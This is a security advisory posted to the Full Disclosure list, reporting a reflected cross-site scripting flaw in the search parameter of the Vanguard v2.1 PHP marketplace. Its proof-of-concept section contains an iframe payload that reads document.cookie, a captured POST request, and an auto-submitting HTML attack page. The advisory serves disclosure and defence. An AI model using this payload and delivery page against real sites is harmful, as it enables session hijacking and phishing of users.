'[FD] Vanguard v2.1 - (Search) POST Inject Web Vulnerability'

[prev in list] [next in list] [prev in thread] [next in thread] 

List:       full-disclosure
Subject:    [FD] Vanguard v2.1 - (Search) POST Inject Web Vulnerability
From:       "info () vulnerability-lab ! com" <info () vulnerability-lab ! com>
Date:       2021-10-27 12:07:26
Message-ID: c54f812b-e497-5b14-9740-6136803aef79 () vulnerability-lab ! com
[Download RAW message or body]

Document Title:
===============
Vanguard v2.1 - (Search) POST Inject Web Vulnerability

References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2283

Release Date:
=============
2021-10-26

Vulnerability Laboratory ID (VL-ID):
====================================
2283

Common Vulnerability Scoring System:
====================================
4

Vulnerability Class:
====================
Cross Site Scripting - Non Persistent

Current Estimated Price:
========================
500ā‚¬ - 1.000ā‚¬

Product & Service Introduction:
===============================
https://codecanyon.net/item/vanguard-marketplace-digital-products-php/20287975

Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a post inject web vulnerability in \
the Vanguard v2.1 cms web-application.

Affected Product(s):
====================
VanguardInfini
Product: Vanguard v2.1 - CMS (PHP) (Web-Application)

Vulnerability Disclosure Timeline:
==================================
2021-10-26: Public Disclosure (Vulnerability Laboratory)

Discovery Status:
=================
Published

Exploitation Technique:
=======================
Remote

Severity Level:
===============
Medium

Authentication Type:
====================
Pre Auth (No Privileges or Session)

User Interaction:
=================
Low User Interaction

Disclosure Type:
================
Responsible Disclosure

Technical Details & Description:
================================
A non-persistent post inject web vulnerability has been discovered in the official Vanguard \
v2.1 cms web-application. The vulnerability allows remote attackers to inject malicious script \
code in post method requests to compromise user session data or to manipulate application \
contents for clients.

The vulnerability is located in the phps_query parameter of the search module. The \
vulnerability is a classic post injection web vulnerability with non-persistent attack vector.

Successful exploitation of the vulnerability results in session hijacking, non-persistent \
phishing attacks, non-persistent external redirects to malicious source and non-persistent \
manipulation of affected application modules.

Request method(s):
[+] POST

Vulnerable Input(s):
[+] Search

Vulnerable Parameter(s):
[+] phps_query

Proof of Concept (PoC):
=======================
The client-side post inject web vulnerability can be exploited by remote attackers without \
account and with low or medium user interaction. For security demonstration or to reproduce the \
cross site web vulnerability follow the provided information and steps below to continue.

Vulnerable Source: search
<div class="ui yellow basic segment"></div>
<div class="ui container" style="margin-top: -0.7em;">
<form method="POST" action="https://vanguard.squamifer.ovh/search">
<div class="ui action input fluid">
<input name="phps_query" type="text" value=""><iframe src=a onload=alert(document.cookie)>" \
placeholder="Search for a product..."> <button class="ui button" type="submit" \
name="phps_search"><i class="search icon"></i>Search</button></div></form> <div class="ui \
divider"></div> <div class="ui cards aligned centered">
<div class="alert color blue-color"><div class="ui hidden divider"></div>
<div class="ui icon info message"><i class="help circle icon"></i><div class="content">
<div class="header">No results found for <strong><iframe src=evil.source \
onload=alert(document.cookie)></strong>.</div></div></div></div> </div></div></div>

--- PoC Session Logs [POST] ---
https://vanguard.localhost:8080/search
Host: vanguard.localhost:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 86
Origin: https://vanguard.localhost:8080
Connection: keep-alive
Referer: https://vanguard.localhost:8080/
Cookie: PHPSESSID=57d86e593a55e069d1e6c728ce20b3b8
phps_query=">%20<iframe src=evil.source onload=alert(document.cookie)>&phps_search=;)
-
POST: HTTP/2.0 200 OK
content-type: text/html; charset=UTF-8
pragma: no-cache
cache-control: private
vary: Accept-Encoding

Exploitation: PoC
<html>
<head>
<title>PoC</title>
<style type="text/css">
#nodisplay {
display:none;
}
</style>
</head>
<body>
<div id="nodsiplay">
<form action="https://vanguard.localhost:8080/search" method="post">
<input type="text" name="phps_query" value=">%20<iframe src=evil.source \
onload=alert(document.cookie)>"/> </form>
</div>
<script>
function submitForm() {
document.forms[0].submit();
}
submitForm();
</script>
</body>
</html>

Security Risk:
==============
The security risk of the validation web vulnerability in the web-application is estimated as \
medium.

Credits & Authors:
==================
Vulnerability-Lab [Research Team] - \
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab

Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. \
Vulnerability Lab disclaims all warranties, either expressed or implied, including the \
warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its \
suppliers are not liable in any case of damage, including direct, indirect, incidental, \
consequential loss of business profits or special damages, even if Vulnerability-Lab or its \
suppliers have been advised of the possibility of such damages. Some states do not allow the \
exclusion or limitation of liability for consequential or incidental damages so the foregoing \
limitation may not apply. We do not approve or encourage anybody to break any licenses, \
policies, deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com		www.vuln-lab.com				www.vulnerability-db.com
Services:   magazine.vulnerability-lab.com	paste.vulnerability-db.com \
                infosec.vulnerability-db.com
Social:	    twitter.com/vuln_lab		facebook.com/VulnerabilityLab \
                youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php 	vulnerability-lab.com/rss/rss_upcoming.php \
                vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php 	vulnerability-lab.com/register.php  \
vulnerability-lab.com/list-of-bug-bounty-programs.php

Any modified copy or reproduction, including partially usages, of this file requires \
authorization from Vulnerability Laboratory. Permission to electronically redistribute this \
alert in its unmodified form is granted. All other rights, including the use of other media, \
are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, \
advisories, source code, videos and other information on this website is trademark of \
vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit \
our material contact (admin@ or research@) to get a ask permission.

				    Copyright  © 2021 | Vulnerability Laboratory - [Evolution Security GmbH]ā„¢

-- 
VULNERABILITY LABORATORY (VULNERABILITY LAB)
RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[prev in list] [next in list] [prev in thread] [next in thread] 